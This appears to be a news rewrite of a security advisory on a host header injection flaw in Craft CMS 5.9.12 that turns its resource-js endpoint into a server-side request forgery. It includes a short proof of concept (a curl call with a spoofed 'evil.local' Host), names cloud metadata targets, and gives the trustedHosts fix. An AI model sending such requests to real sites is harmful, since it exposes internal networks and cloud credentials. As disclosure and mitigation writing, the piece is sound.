BTC
ETH
SOL
BNB
GOLD
XRP
DOGE
ADA
Back to home
Security

[MEDIUM] Security Advisory: Craft CMS has a host header injection leading to SSRF via resource-js endpoint (craftcms/cms, craftcms/cms)

Craft CMS sites running default configurations face a server-side request forgery (SSRF) vulnerability through the resource-js endpoint.

Craft CMS sites running default configurations face a server-side request forgery (SSRF) vulnerability through the resource-js endpoint. Attackers supply a malicious Host header to hijack the baseUrl derivation, bypassing URL prefix checks and forcing the server to fetch arbitrary external resources. Tested on version 5.9.12, this flaw affects any setup without explicit trustedHosts restrictions.

The endpoint proxies unauthenticated requests for JavaScript resources, a feature meant to load assets from CDNs or external hosts reliably. In AppController::actionResourceJs(), the code checks if the supplied url parameter starts with the asset manager’s baseUrl. But that baseUrl pulls directly from the request’s host. Without trustedHosts set in config/general.php, attackers fully control this value via the Host header.

Attack Mechanics

Here’s the chain: an attacker crafts a request with a fake Host like attacker.com/evil.js. The app derives baseUrl from it. They set the url parameter to something starting with that base, say attacker.com/internal-metadata. Validation passes because it matches the tainted prefix. Guzzle then issues the HTTP request server-side, hitting the attacker’s server.

Proof-of-concept confirms this in a Dockerized Craft 5.9.12 setup with no trustedHosts:

# Inside the container, start a listener
python3 -m http.server 9999

Then, from outside:

curl -H "Host: evil.local" \
  "http://craft-app/resource/js?url=http://evil.local:9999/test"

The listener on port 9999 catches the inbound request, proving out-of-band SSRF. No string tricks or parsing bypasses needed—just blind trust in the Host header.

Why This Matters

SSRF isn’t abstract. Attackers probe internal networks: AWS metadata at 169.254.169.254, Azure equivalents, or private VPC endpoints. In cloud setups, this leaks instance details, IAM roles, or API keys. Combine with open redirects or file writes elsewhere in Craft, and you get RCE or data exfil.

Craft CMS powers thousands of sites—over 100,000 installs per BuiltWith data as of mid-2024. It’s popular for bespoke sites on Yii2, with strong templating via Twig. But defaults prioritize ease: no forced host restrictions. Similar issues hit other CMS like WordPress plugins or Laravel apps trusting headers without validation.

Scope? Unauthenticated, no privileges needed. Affects all 5.x versions until patched; check Craft’s changelog for fixes post-5.9.12. Production sites on shared hosting or misconfigured clouds amplify risk—attackers scan for /resource/js exposures easily.

Mitigation Steps

Fix it now: add trustedHosts to config/general.php.

'trustedHosts' => [
    'yourdomain.com',
    'www.yourdomain.com',
    '*.yourdomain.com', // Wildcards work
],

Restart the app. Verify with tools like nuclei templates for Craft SSRF. For Docker/K8s, enforce via env vars or ingress rules blocking Host spoofing.

Broader lesson: never trust Host headers raw. Nginx/Apache rewrite rules help: proxy_set_header Host $host;. Craft’s team likely patches soon—watch GitHub (craftcms/cms). Until then, audit your deploys. This exposes how “convenience” features bite without config hygiene.

Bottom line: if you’re on Craft without host locks, you’re live fire for SSRF. Patch configs today; it’s a five-minute fix saving months of breach cleanup.

April 15, 2026 · 3 min · 7 views · Source: GitHub Security

Related